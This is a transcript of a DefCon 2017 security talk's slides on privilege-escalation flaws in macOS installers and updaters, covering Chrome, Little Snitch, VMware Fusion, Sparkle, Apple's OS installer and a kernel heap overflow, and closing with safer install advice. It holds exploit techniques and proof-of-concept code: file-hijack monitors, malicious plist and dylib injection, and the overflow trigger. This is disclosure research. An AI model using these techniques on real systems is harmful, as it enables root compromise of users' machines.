[DefCon 2017] Death by 1000 Installers; it's All Broken!

Archived: 2026-04-06 02:07:57 UTC

Ever get an uneasy feeling when an installer asks for your password? Well, your gut was right! The majority of macOS installers & updaters are vulnerable to a wide range of priv-esc attacks.

It began with the discovery that Apple's OS updater could be abused to bypass SIP (CVE-2017-6974). Next, turns out Apple's core installer app may be subverted to load unsigned dylibs which may elevate privileges to root.

And what about 3rd-party installers? I looked at what's installed on my Mac, and ahhh, so many bugs!

Firewall, Little Snitch: EoP via race condition of insecure plist
Anti-Virus, Sophos: EoP via hijack of binary component
Browser, Google Chrome: EoP via script hijack
Virtualization, VMWare Fusion: EoP via race condition of insecure script
IoT, DropCam: EoP via hijack of binary component
and more!

...and 3rd-party auto-update frameworks like Sparkle -yup vulnerable too!

Though root is great, we can't bypass SIP nor load unsigned kexts. However with root, I discovered one could now trigger a ring-0 heap-overflow that provides complete system control.

Though the talk will discuss a variety of discovery mechanisms, 0days, and macOS exploitation techniques, it won't be all doom & gloom. We'll end by discussing ways to perform authorized installs/upgrades that don't undermine system security.

Transcript

1. **@patrickwardle DEATH BY 1000 INSTALLERS ...it's all broken :(**
2.
3.
4.
5. **AUTHORIZATION executing priv'd actions (ui)**

6.
7.

8. **request via AuthorizationExecuteWithPrivileges() BEHIND THE SCENES installer: "I wanna do**

   a priv'd action" 1 AuthorizationRef authRef; AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &authRef); AuthorizationExecuteWithPrivileges(authRef, "/path/to/binary", kAuthorizationFlagDefaults, NULL, NULL); AuthorizationExecuteWithPrivileges() define TRAMPOLINE "/usr/libexec/security_authtrampoline" AuthorizationExecuteWithPrivileges() -> AuthorizationExecuteWithPrivilegesExternalForm() switch (fork()) { //child case 0: execv(trampoline, (char *const*)argv); $ ls -lart /usr/libexec/security_authtrampoline -rws--x--x root wheel security_authtrampoline int main() { AuthorizationItem right = {EXECUTERIGHT, ...}; AuthorizationRights inRights = { 1, &right }; AuthorizationCopyRights(auth, &inRights, NULL, kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed, &outRights)) execv(pathToTool, (char *const *)restOfArguments); XPC # ps aux | grep authd 112 /System/Library/Frameworks/Security.framework/Versions/A/XPCServices/authd.xpc/Contents/MacOS/authd # lsmp -p 112 | grep security_authtrampoline ... send-once --> (1243) security_authtrampoline # lsmp -p 1243 | grep authd send-once <-- (112) authd security_authtrampoline security_authtrampoline; setuid

9. **authd; servicing authorization requests BEHIND THE SCENES authd: "responsible for**

   servicing authorization requests made by client" -*OS Internals, j levin (p. 92) 2 authorization database # sqlite3 /var/db/auth.db .dump | grep system.privilege.admin INSERT INTO "rules" VALUES(135,'system.privilege.admin',1,1,'admin',... 'Used by AuthorizationExecuteWithPrivileges(...). XPC XPC //'system.privilege.admin' AuthorizationItem right = {EXECUTERIGHT, ...}; AuthorizationCopyRights(...); authorization daemon: consult auth db xpc for auth prompt

10. **Security Agent; give me creds! BEHIND THE SCENES $ lsappinfo**

    processlist ASN:0x0-0x1001-"loginwindow": ASN:0x0-0xb00b-"SystemUIServer": ASN:0x0-0xc00c-"Dock": ... ASN:0x0-0x43043-"SecurityAgent": # lsmp -p 112 | grep SecurityAgent + send <- (1532) SecurityAgent send -> (1532) SecurityAgent send -> (1532) SecurityAgent + send-once <- (1532) SecurityAgent SecurityAgent: "an XPC service responsible for the UI" -j levin XPC messages from authd to SecurityAgent int main() { AuthorizationItem right = {EXECUTERIGHT, ...}; AuthorizationRights inRights = { 1, &right }; AuthorizationCopyRights(auth, &inRights, NULL, kAuthorizationFlagExtendRights | kAuthorizationFlagInteractionAllowed, &outRights)) execv(pathToTool, (char *const *)restOfArguments); security_authtrampoline XPC authentication dialog password 'out of proc' #_

11. **CORE ISSUES what's the problem(s)?**

12.
13.
14.
15. **example; iWorm 'LEGITIMATE' # fs_usage -w -f filesys 20:28:28.727871 open**

    /Library/LaunchDaemons/com.JavaW.plist 20:28:28.727890 write B=0x16b int sub_1cf6() { *(int16_t *) (pathEnd) = "0/"; if (AuthorizationCreate(0x0, 0x0, 0x0, var_40C) == 0x0) { AuthorizationExecuteWithPrivileges(var_40C, path, 0x0, 0x0, 0x0); AuthorizationFree(var_40C, 0x0); } authentication prompt persistently installing osx/iworm installer's code infected apps '0' binary

16.
17.
18. **FINDING 0days 'user-assisted' priv-escalations**
19. **....everybody :(WHO CALLS AUTHORIZATIONEXECUTEWITHPRIVILEGES OSStatus AuthorizationExecuteWithPrivilegesExternalForm(const AuthorizationExternalForm * extForm,**

    const char *pathToTool ...) { // report the caller to the authorities aslmsg m = asl_new(ASL_TYPE_MSG); asl_set(m, "com.apple.message.domain", "com.apple.libsecurity_authorization.AuthorizationExecuteWithPrivileges"); asl_set(m, "com.apple.message.signature", getprogname()); asl_log(NULL, m, ASL_LEVEL_NOTICE, "AuthorizationExecuteWithPrivileges!"); ... $ strings /private/var/log/DiagnosticMessages/* | grep -A 1 AuthorizationExecuteWithPrivileges! $AuthorizationExecuteWithPrivileges! Slack ... VMware Fusion Google Chrome Little Snitch Installer osascript Autoupdate (Sparkle) lib/trampolineClient.cpp Console.app *.asl logs } vulnerable? q: is binary, passed to AuthorizationExecute... writable* by non-priv'd code? authentication attempts are logged

20. **is it writable? AUTHORIZATIONEXECUTEWITHPRIVILEGES() PAYLOAD AuthorizationExecuteWithPrivileges(authRef, "/sbin/reboot", kAuthorizationFlagDefaults, NULL, NULL);**

    vs. AuthorizationExecuteWithPrivileges(authRef, "~/Downloads/Install.app", kAuthorizationFlagDefaults, NULL, NULL); world-writable, but exec'd as r00t # procmon new process: security_authtrampoline (24977) path: /usr/libexec/security_authtrampoline pid: 24977 args: "~/Downloads/Install.app", ... process monitor 'security_authtrampoline' what is it exec'ing? } can non-priv'd code modify it? # lldb <path/to/app> (lldb) b AuthorizationExecuteWithPrivileges (lldb) r ... * thread #1: Security`AuthorizationExecuteWithPrivileges stop reason = breakpoint 1.1 (lldb) x/s $rsi 0x100000fa2: "~/Downloads/Install.app" debugger (lldb)

21. **often 'unsafe' things! WHAT DOES AUTHORIZED PROCESS (THEN) DO? #**

} load/execute 'unsecured' components create insecure temp files install 'unsecured' components # fs_usage -w -f filesystem | grep Installer stat64 /Library/LaunchDaemons/com.insecure.plist Installer access /Library/LaunchDaemons/com.insecure.plist Installer rename ~/Downloads/Install.app/Contents/Resources/com.insecure.plist Installer chown /Library/LaunchDaemons/com.blah.plist Installer file monitor Launch Daemons <key>RunAtLoad</key> <true/> <key>ProgramArguments</key> <array> <string>/Library/evil.bin</string> </array> plist (executed as r00t) persisted as r00t :/ plist

22. **BUGS if(no CVE) then 0day;**

23. **dropcam INTERNET OF THINGS $ ls -lart /var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y/Setup Dropcam (Macintosh).app/Contents/MacOS/Setup**

    Dropcam (Macintosh) -rwxrwxrwx 1 patrick staff Setup Dropcam (Macintosh) permissions of (copied) installer $ lldb Setup Dropcam (Macintosh).app Launched parent Copying Setup Dropcam (Macintosh).app to /var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y Launching child with elevated privileges from /var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y/Setup Dropcam (Macintosh).app/Contents/MacOS/Setup Dropcam (Macintosh) Process 96025 stopped (Security`AuthorizationExecuteWithPrivileges) (lldb) x/x $esp+8 0xbffff6c4: 0x0020ac50 (lldb) x/s 0x0020ac50 0x0020ac50: "/var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/dropcam_kwvZ7y/Setup Dropcam (Macintosh).app/Contents/MacOS/Setup Dropcam (Macintosh)" copy & exec (auth'd) installer from tmp dir! #_

24. **google chrome BROWSERS # procmon new process: security_authtrampoline (1508) path:**

    /usr/libexec/security_authtrampoline pid: 24977 args: "/Applications/Google Chrome.app/Contents/Versions/59.0.3071.115/Google Chrome Framework.framework/Resources/keystone_promote_preflight.sh", ... process monitor keystone_promote_preflight.sh } bash script owned by user -rwxr-xr-x@ 1 user executed as r00t [bug 593133] "AuthorizationExecuteWithPrivileges is deprecated ...as per discussion no good replacement exists" #wontfix (non-admin) install

25. **little snitch SECURITY TOOLS big snitch ;) Launch Daemons 1**

    2 3 plist 2 3 firewall is elevated writes a plist to temporary (user-writable) location moves plist into launch daemons & chowns it to r00t } installer/updater: <key>RunAtLoad</key> <true/> <key>ProgramArguments</key> <array> <string>/path/2/lsdaemon</string> </array> editable by all! 1

26. **little snitch SECURITY TOOLS (lldb) b ptrace Breakpoint 1: =**

    libsystem_kernel.dylib`__ptrace (lldb) br com add 1 Enter your debugger command(s). > thread return > continue > DONE disable anti-debug char -[ODShell writePlist:owner:mode:toFile:] { ... r14 =

[NSTemporaryDirectory() stringByAppendingPathComponent: [NSString stringWithFormat:@"at.obdev.LittleSnitchInstaller.temp.%@.plist", [arg5 lastPathComponent]]]; [arg2 writeToFile:r14 atomically:0x0]; } move plist & chown (lldb) b -[ODShell _executeCommandAsRoot:] (lldb) * thread #1: -[ODShell _executeCommandAsRoot:] stop reason = breakpoint 1.1 (lldb) po $rdx echo $$; { /bin/rm -f "$PLIST"; /bin/mv "$TMPFILE" "$PLIST"; /usr/sbin/chown root:wheel "$PLIST"; /bin/chmod 0644 "$PLIST"; } 2>&1 (lldb) po [[NSProcessInfo processInfo] environment] PLIST = "/Library/LaunchDaemons/at.obdev.littlesnitchd.plist"; TMPFILE = "/var/folders/hp/vv2sj3014271lklmjkyfjfl80000gn/T/at.obdev.LittleSnitchInstaller.temp.at.obdev.littlesnitchd.plist.plist"; save plist to temporary location patched: CVE-2017-2675

27. **vmware fusion VIRTUALIZATION SOFTWARE (lldb) b AuthorizationExecuteWithPrivileges * thread #1:**

    Security`AuthorizationExecuteWithPrivileges * stop reason = breakpoint 1.1 frame #0: 0x00007fff928cef77 Security`AuthorizationExecuteWithPrivileges (lldb) x/s $rsi "/var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/fusionAutoupdate.JuFYAU/preflight" $ ls -lart /var/folders/yx/bp25tm5x4l32k5297qwc7wcd4m022r/T/fusionAutoupdate.JuFYAU/preflight -r-xr-xr-x 1 user staff #_ scripts extracted to temp (user-writable) directory executed as r00t } executing world-writable scripts...as r00t

28. **f-secure freedome VPN SOFTWARE # procmon new process: security_authtrampoline (2580)**

    path: /usr/libexec/security_authtrampoline pid: 24977 args: "/System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid", "auth 11", "/System/Library/ScriptingAdditions/StandardAdditions.osax/Contents/MacOS/uid", "/bin/sh", "-c", "sh '/Applications/Freedome.app/Contents/Resources/install_or_update_plists.sh' '/Applications/Freedome.app'" process monitor: 'install_or_update_plists.sh' SettingsManager::createConfigsAndReinstallDaemonIfNeeded { ... lea rdi, "do shell script "%1" with administrator privileges" ... lea rdi, "osascript" ... lea rdi, "-e" ... call QProcess::start(QString const&,QStringList const&, ...) } freedome's disassembly exec script as root, via applescript

29. **sophos av ANTI-VIRUS $ lldb "~/Downloads/SophosInstall/Sophos Installer.app" Current executable set**

    to '~/Downloads/SophosInstall/Sophos Installer.app' (x86_64). (lldb) b AuthorizationExecuteWithPrivileges (lldb) r * thread #1: Security`AuthorizationExecuteWithPrivileges * stop reason = breakpoint 1.1 frame #0: 0x00007fff928cef77 Security`AuthorizationExecuteWithPrivileges (lldb) x/s $rsi 0x105b56f70: "~/Downloads/SophosInstall/Sophos Installer.app/Contents/MacOS/tools/InstallationDeployer" (lldb) x/2x $rcx 0x7fff5fbfebe0: 0x0000000100031477 0x0000000100031481 (lldb) x/s 0x0000000100031477 0x100031477: "--install" (lldb) x/s 0x0000000100031481 0x100031481: "--ui" SophosInstall.zip InstallationDeployer --install --ui #_

30. **sparkle; ...used lots AUTO-UPDATE LIBRARY "Apps using Sparkle" github.com/sparkle-project/Sparkle/issues/717 Acorn**

Activity Audit Adapter Adium Air Display Host Air Video Server HD AirParrot 2 AirRadar AirServer Airfoil Airfoil Speakers Airfoil Video Player Alarm Clock Pro Alarm Clock Pro 2 Ambify Antidote 8 AppCleaner AppDelete AppViz AppZapper Archiver Art Text 2 Audio Hijack Audio Hijack Pro Audiomate Audirvana Plus Bartender Bartender 2 Battery Guardian Battery Report BeadedSpice Beamer Bento 3 BetterTouchTool BetterZip BibDesk Billings Bit Slicer BitTorrent Bitcasa Bittorrent Sync Bleep Blue Jeans Scheduler for Mac BoinxTV BootXChanger Borderlands Bowtie Boxer Bricksmith CCMenu CDpedia Cactus Cakebrew Camtasia 2 Capo Carbon Copy Cloner Carousel Cathode Chatology CheatSheet Chicken ChitChat Chocolat Cinch Cisco Jabber ClamXav CleanMyMac 2 Clippy CloudApp CloudyTabs Clyppan Cocktail CocoaPods Coconut ID CocosBuilder Coda 2 CodeKit CodeRunner Colloquy ColorFinale ColorMunki Display ColorMunki Smile Comic Life Conductr Server Contour ControlPlane ControllerMate CopyClip Core Data Editor Corel Painter Sketch Pad Cornerstone CoverScout 3 Crashlytics CrossOver Crunch Cyberduck DEVONthink DEVONthink Pro DS_Store Cleaner DaisyDisk Dash Dashlane Data Rescue 3 Default Folder X Deploymate DesignPro Deskovery Desktop Curtain DesktopShelves Disk Drill DiskAid DiskMaker X DockMod Downie DrawBerry Drive Genius 3 DropZone 3 DropletManager Dropshare Dropzone-2 DuetDisplay + DynDNSUpdater Elmedia Player Eloquent Ember Enjoy2 Evernote Evom Exhaust Fabric Fake Fantastical Feeder Feeder 3 Festify Final Vinyl FinderPath Fitbit Connect Flashlight Flavours2 FlexiGlass Fluid Flux Focus Focus 2 Font Finagler FontAgent Pro 6 FontStand ForkLift FotoMagico Fraise Framer Studio GPG Keychain GeekTool Geekbench Geekbench 3 Get Backup 2. Get iPlayer Automator GitUp Gitbox Gitter Glyphs Go2Shell Goofy GraphicConverter 7 GraphicConverter 8 GraphicConverter 9 GridMount GrowlMail Hammerspoon Handbrake Harvest Hedgewars Hex Fiend HipChat Hirundo Hobo Hocus Focus Hopper Hopper Disassembler v3 Hopper/Hopper Debugger Server HoudahGeo HoudahSpot Hypernap iExplorer iFunBox iPhone Backup Extractor iPhone Explorer iPlayer Automator iSale 5 iShowU HD iSkysoft iTube Studio iStopMotion iStumbler iSubtitle iTeleport Connect iTerm iTerm-2 iTools iVPN IP Scanner IPNetMonitor X IconJar Image2Icon ImageAlpha ImageOptim Impactor InVisible Infinit Inklet InsomniaX Intensify Pro Isolator Itsycal JPEGmini Pro JewelryBox JollysFastVNC Jumpcut Kaleidoscope Karabiner KeepingYouAwake Keka Kext Wizard KisMAC Knock LaTeXiT Last.fm LevelHelper LineIn LiquidCD LiteIcon Live Interior 3D Pro LiveReload Loading Lookback Loop Editor Lumio Lyve M3Unify MAMP MDRP MPEG2 Works 4 MPlayer OSX Extended MPlayerX MTR 5 MacDown MacJournal MacPilot MacVim Mactracker Mailbox MediaInfo Mac MenubarStats Messenger MetaZ Minbox MindNode Pro Minitube Miro Miro Video Converter Money MongoHub Monodraw Monolingual Mou Mou + MouseRecorder MoveToAppleMusic MyHarmony Myo Connect Name Mangler NameChanger NetNewsWire NetSpot NiceCast Notational Velocity NoteBook Notifyr Noun Project OSCulator OSCulator ƒ Octohub Octopus Opacity OpenDNS Updater 3.0 OpenEmu PDFpen Pacifist PaintCode PaintCode 2 Paintbrush Panda Mac Paparazzi! Paperless Paw Phone To Mac PhoneExpander PhoneView PhotoPresenter Phun PhysicsEditor Picturesque Piezo Platypus PlistEdit Pro Plug Poedit Power Manager Power Manager Professional PowerPhotos PowerTunes ProjectPlus PwnageTool QuickRadar Quicken 2007 Quicken 2016 Quinn Radium Rdio RealPlayer Cloud Reeder Reflector Reflector 2 Reggy Remote Activity RescueTime Retrode Utility Reveal RightFont Ring Rinoceros RipIt RoadMovie RoboFont

S3Hub SMART Utility 2.1.2 SafariCacheExplorer Sandvox SaneDesk Scapple ScreenFlow Scrivener Seil SelfControl Senuti Sequel Pro Shapes Sharepod Sidestep Silverback Simple Comic Simul80 SizeUp Sketch Sketch Toolbox Skim SkyFonts Slack Sleep Monitor Snagit Snapheal Snapheal PRO Sofortbild SongGenie Soulver Sound Studio SoundSoap SourceTree SousChef Spark Splashtop Splice Stand Stay StoryMill StuffIt Expander Subler Subliminal Submerge Swift Publisher 3 TCMPortMapper TG Pro Tagalicious Tagger Tansmit TeX Live Utility TeXnicle TeamViewer TechTool Pro 8 Teleport TexShop Textual TexturePacker The Unarchiver Throng Timing Toast 14 Titanium Toast Titanium Tokens Tomahawk Tonality Pro Tower Trailer Trampoline Transmission Transmit Trello TripMode Triumph TunesKit for Mac TunnelBear Tunnelblick TurboTax 2012-2015, at least TwistedWave Twitterrific Typora uTorrent UnRarX UnicodeChecker Unison Übersicht VLC VLS Vagrant Manager VelOCRaptor Versions VideoMonkey VideoSpec Vienna Viscosity VisualHub Vitamin-R Vivaldi Vox VyprVPN Wallsaver Waltr WebKit WhatSize Whiskey Winclone Wine WineBottler WireTap Studio Witgui Wondershare AllMyTube Wondershare Data Recovery Wondershare Video Converter Ultimate X-LosslessDecoder XLD XQuartz Xslimmer Yarg Yate ZFS Plugin Zeplin Zoom Zulip Zwoptex oh f**k list from 2016 app (to be vulnerable) must use recent ver. of sparkle user

31. **an example; hopper.app SPARKLE time to update! (lldb) process attach**

    --name Autoupdate --waitfor Executable module set to "/Users/user/Library/Caches/com.cryptic-apps.hopper-web-4/org.sparkle- project.Sparkle/Autoupdate.app/Contents/MacOS/Autoupdate". (lldb) b AuthorizationExecuteWithPrivileges Process 15771 stopped Security`AuthorizationExecuteWithPrivileges: (lldb) x/s $rsi "/Users/user/Library/Caches/com.cryptic-apps.hopper-web-4/org.sparkle-project.Sparkle/ Autoupdate.app/Contents/MacOS/fileop update server Autoupdate.app fileop fileop modifiable by un-priv'd code } executed as r00t user

32. **hijacking auth'd copies AND APPLE? user authenticates item (naively) copied**

    } Slack.zip ...into /Applications $ shasum -a 1 ~/Downloads/Slack.app/Contents/MacOS/Slack 0a05ccc21943b543dd0326a7b5f7918d881d67f6 $ xattr -rc ~/Downloads/Slack.app $ cat - >> ~/Downloads/Slack.app/Contents/MacOS/Slack AAAAA^C $ shasum -a 1 /Applications/Slack.app/Contents/MacOS/Slack 8e605dad6112b601bbdd085dd0d3b97d5a1905e6 $ ps aux | grep Slack.app user 17150 /Applications/Slack.app/Contents/MacOS/Slack 'infected' Slack runs ...for any user no verification, that the item wasn't modified user

33.

34. **Installer.app loads unsigned dylibs?? AND APPLE? /Plugins (lldb) process attach**

    --name Installer --waitfor Process 460 stopped Foundation`-[NSFileManager createDirectoryAtPath: withIntermediateDirectories:attributes:error:] (lldb) po $rdx /tmp/com.apple.installerie9PZNtz/FollowUs.bundle ... Process 460 stopped libdyld.dylib`dlopen (lldb) x/s $rdi "/tmp/com.apple.installerie9PZNtz/FollowUs.bundle installer doing what!? /tmp $ ls -lart /tmp/com.apple.installerie9PZNtz/FollowUs.bundle -rwxr-xr-x 1 user staff /tmp is writeable! unsigned dylib; loaded :/

35. **BEYOND ROOT subverting 's OS installer # tail -f /var/log/install.log**

    InstallAssistant: Blessing /Volumes/Macintosh HD -- /Volumes/Macintosh HD/macOS Install Data InstallAssistant: ****** Setting Startup Disk ****** InstallAssistant: ****** Path: /Volumes/Macintosh HD InstallAssistant: ****** Boot Plist: /Volumes/Macintosh HD/macOS Install Data/com.apple.Boot.plist InstallAssistant: /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/ macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer Install macOS Sierra.app InstallESD.dmg 'new' os codesign -d --entitlements - /Applications/Install\ macOS\ Sierra.app/Contents/Frameworks/OSInstallerSetup.framework/ Versions/A/Resources/osishelperd <plist version="1.0"> <dict> <key>com.apple.private.securityd.stash</key> <true/> <key>com.apple.rootless.install</key> <true/> <key>com.apple.rootless.install.heritable</key> <true/> </dict> </plist> blessing, to boot off InstallESD.dmg osishelperd's entitlements

36. **subverting 's OS installer BEYOND ROOT once the system is**

    booted of an infected image, all 'OS-level' protections are irrelevant create malicious library that forwards exports to (re-named) dylib rename dependent dylib move/rename malicious library to match (original) dylib 1 2 3 'dylib proxying' IASUtilities IASUtilities_ORIG OS Installer unless entitled runtime 'injection' into OS Installer

37. **subverting 's OS installer BEYOND ROOT Install macOS Sierra.app osishelperd**

    # ps aux | grep -i [j]ava root 90 /Library/Application Support/JavaW/JavaW # less /System/Library/LaunchDaemons/com.JavaW.plist <key>ProgramArguments</key> <array> <string>/Library/Application Support/JavaW/JavaW</string> </array> <key>RunAtLoad</key> <true/> # rm /System/Library/LaunchDaemons/com.JavaW.plist rm: Operation not permitted osishelperd blesses infected images within installer app, infect os image (.dmg) system boots of infected image to reinstall OS 1 2 3 the attack: not validated ! bypass SIP survive an OS upgrade CVE-2017-6974 dylib proxy

38. **a ring-0 heap overflow BEYOND ROOT void audit_arg_sockaddr(struct kaudit_record *ar,**

    struct vnode *cwd_vp, struct sockaddr *sa) { int slen; struct sockaddr_un *sun; bcopy(sa, &ar->k_ar.ar_arg_sockaddr, sa->sa_len); switch (sa->sa_family) { case AF_UNIX: ... } struct kaudit_record { struct audit_record k_ar; u_int32_t k_ar_commit; ... }; struct audit_record { u_int32_t ar_magic; int ar_event; int ar_retval; ... struct sockaddr_storage ar_arg_sockaddr; int ar_arg_fd2; ... }; #define _SS_MAXSIZE 128 struct sockaddr_storage { u_char ss_len; sa_family_t ss_family; char __ss_pad1[_SS_PAD1SIZE]; int64_t __ss_align; char __ss_pad2[_SS_PAD2SIZE]; }; relevant structs bcopy() in audit_arg_sockaddr() source ('src'): struct sockaddr *sa destination ('dst'): struct sockaddr_storage k_ar.ar_arg_sockaddr audit_arg_sockaddr() bytes to copy ('len'): sa->sa_len

39. **ring-0 heap overflow BEYOND ROOT can we make socket >**

_SS_MAXSIZE? #define SOCKET_SIZE 200 //create unix socket int unixSocket = socket(AF_UNIX, SOCK_STREAM, 0); //alloc/fill char* addr = malloc(SOCKET_SIZE); memset(addr, 0x41, SOCKET_SIZE); //init (addr)->sun_len = SOCKET_SIZE; (addr)->sun_family = AF_UNIX; //bind bind(unixSocket, addr, SOCKET_SIZE)); (lldb) x/xb 0xffffff801a4c26f8 0xffffff801a4c26f8: 0xfa 0x01 0x41 0x41 0x41 0x41 0x41 0x41 0xffffff801a4c2700: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41 .... (lldb) x/i $pc -> 0xffffff80063eb6da: 48 8b 00 movq (%rax), %rax (lldb) reg read $rax rax = 0x4141414141414141 kernel ptr = 0x4141414141414141 unix socket (200 bytes) patched 10.12.4/iOS(?) (AFAIK, no CVE/credit) yes!

40. **EXPLOITS making these useful**

41.

42. **watch for vulnerable application APP MONITOR 1 -(void)register4Notifications { //register**

    for 'app launched' notification [[[NSWorkspace sharedWorkspace] notificationCenter] addObserver:self selector:@selector(appEvent:) name:NSWorkspaceDidLaunchApplicationNotification object:nil]; //register for 'app terminated' notification [[[NSWorkspace sharedWorkspace] notificationCenter] addObserver:self selector:@selector(appEvent:) name:NSWorkspaceDidTerminateApplicationNotification object:nil]; } -(void)appEvent:(NSNotification *)notification { //app name NSString* app = notification.userInfo[@"NSApplicationName"]; //ignore apps we don't care about if(YES != [app isEqualToString:TARGET_APP]){ //bail goto bail; } //launched if(YES == [notification.name isEqualToString:@"NSWorkspaceDidLaunchApplicationNotification"]){ //start monitoring // ->wait for vulnerable file } //exited else { //stop monitoring } .... } application start/stop monitor

43. **watch for vulnerable file (!polling) FILE MONITOR 2 -(void)register4Notifications {**

    CFStringRef path = CFStringCreateWithCString(kCFAllocatorDefault, TARGET_FILE, kCFStringEncodingUTF8); CFArrayRef paths = CFArrayCreate(NULL, (const void **)&path, 1, &kCFTypeArrayCallBacks); CFRunLoopRef loop = CFRunLoopGetCurrent() ; FSEventStreamRef stream = FSEventStreamCreate(NULL, (FSEventStreamCallback)eventCallback, NULL, paths, kFSEventStreamEventIdSinceNow, 0, kFSEventStreamCreateFlagFileEvents); FSEventStreamScheduleWithRunLoop(stream, loop, kCFRunLoopDefaultMode); FSEventStreamStart(stream); CFRunLoopRun(); ... } void eventCallback(FSEventStreamRef stream, void* callbackInfo, size_t numEvents, void* paths, const FSEventStreamEventFlags eventFlags[], const FSEventStreamEventId eventIds[]) { //process events for(int i = 0; i<numEvents; i++){ //item creation event? if(0 != (eventFlags[i] & 0x100)){ //target file created // ->hijack/infect } } FSEventStreamFlushSync(stream) ; file monitor

44.

45. **side-stepping 'app translocation' MAKING TARGETS WRITABLE write-only 'app translocation' }**

CVE 2015-3715 (wardle) CVE 2015-7024 (wardle) testApp: app is translocated! testApp: original URL: ~/Downloads/testApp.app/ testApp: translocated URL: file:///private/var/folders/r3/9nbl60856zn82n6wdtwrxw8w0000gn/T/ AppTranslocation/7E2258D4-DD10-4B39-B659-F9C9C1CC7A9F/d/testApp.app/ translocated app $ xattr ~/Downloads/targetApp.zip ... com.apple.quarantine $ xattr -rc ~/Download/targetApp.zip 1 2 remove xattrs prevents translocation (writable) prevents gatekeeper validation

46. **intercepting .dmg mounts to achieve R/W MAKING TARGETS WRITABLE write-only**

    (/Volumes) .dmg $ less ~/Library/Preferences/com.apple.LaunchServices/com.apple.launchservices.secure.plist <?xml version="1.0" encoding="UTF-8"?> <plist version="1.0"> <dict> <key>LSHandlers</key> <array> <dict> <key>LSHandlerContentType</key> <string>com.apple.disk-image-udif</string> <key>LSHandlerPreferredVersions</key> <dict> <key>LSHandlerRoleAll</key> <string>-</string> </dict> <key>LSHandlerRoleAll</key> <string>com.company.evilHijacker</string> </dict> </array> </dict> </plist> com.apple.launchservices.secure.plist -(BOOL)application:(NSApplication *)sender openFile:(NSString *)filename { //mount .dmg as R/W! NSTask *task = [[NSTask alloc] init]; task.launchPath = @"/usr/bin/hdiutil"; task.arguments = @[@"attach", filename, @"-shadow", @"-noverify"]; [task launch]; [task waitUntilExit]; //open in Finder.app [[NSWorkspace sharedWorkspace] openFile:@"/Volumes/<mount point>/"]; return YES; } .dmg writable :) default handler

47. **vmware installer/updater EXPLOIT:**

48. **google chrome EXPLOIT:**

49. **'s Installer EXPLOIT: 1 2 3 expand pkg $ pkgutil**

    --expand cp evil.bundle installMe/Plugins flatten pkg & replace $ pkgutil --flatten system popup from within Installer.app } fake popup piggy-back off legit one or response: *crickets* :(malicious dylib in Installer.app

50. **CONCLUSIONS wrapping this up**

51.
52.
53.

54. **...use SMJobBless! (MORE)SECURE INSTALLS AuthorizationCreate(NULL, kAuthorizationEmptyEnvironment, kAuthorizationFlagDefaults, &self->authRef); AuthorizationItem authItem**

    = { kSMRightBlessPrivilegedHelper, 0, NULL, 0 }; AuthorizationRights authRights = { 1, &authItem }; AuthorizationFlags flags = kAuthorizationFlagDefaults | kAuthorizationFlagInteractionAllowed | kAuthorizationFlagPreAuthorize | kAuthorizationFlagExtendRights; AuthorizationCopyRights(self->authRef, &authRights, kAuthorizationEmptyEnvironment, flags, NULL); /* This does all the work of

verifying the helper tool against the application * and vice-versa. Once verification has passed, the embedded launchd.plist * is extracted and placed in /Library/LaunchDaemons and then loaded. The * executable is placed in /Library/PrivilegedHelperTools. */ SMJobBless(kSMDomainSystemLaunchd, (CFStringRef)@"com.someCompany.HelperToolBundleID", self->authRef, &error); apple's "SMJobBless.zip" } ...but "The calling application & target executable tool must both be signed" -apple persistently installs a launch daemon (that must delete itself!) "You cannot specify your own program arguments" -apple (implement XPC) SMJobBless() in code #unload helper tool's launch daemon sudo launchctl unload /Library/LaunchDaemons/ com.company.HelperTool.plist #delete helper tool's launch daemon plist sudo rm /Library/LaunchDaemons/ com.company.HelperTool.plist #delete helper tool binary sudo rm /Library/PrivilegedHelperTools/HelperTool uninstall logic

55.
56.

57. **mahalo :) CREDITS - FLATICON.COM - ICONMONSTR.COM - ICONEXPERIENCE.COM -**

    HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/ - HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG - "AUTHORIZATION SERVICES PROGRAMMING GUIDE" APPLE - *OS INTERNALS V.III" J. LEVIN - "OSX FSEVENTS" HTTPS://STACKOVERFLOW.COM/A/20854586/3854841 - "APPS USING SPARKLE" HTTPS://GITHUB.COM/SPARKLE-PROJECT/SPARKLE/ISSUES/717 - "REMOVE USES OF DEPRECATED FUNCTION AUTHORIZATIONEXECUTEWITHPRIVILEGES" HTTPS://BUGS.CHROMIUM.ORG/P/CHROMIUM/ISSUES/DETAIL?ID=593133 images resources

---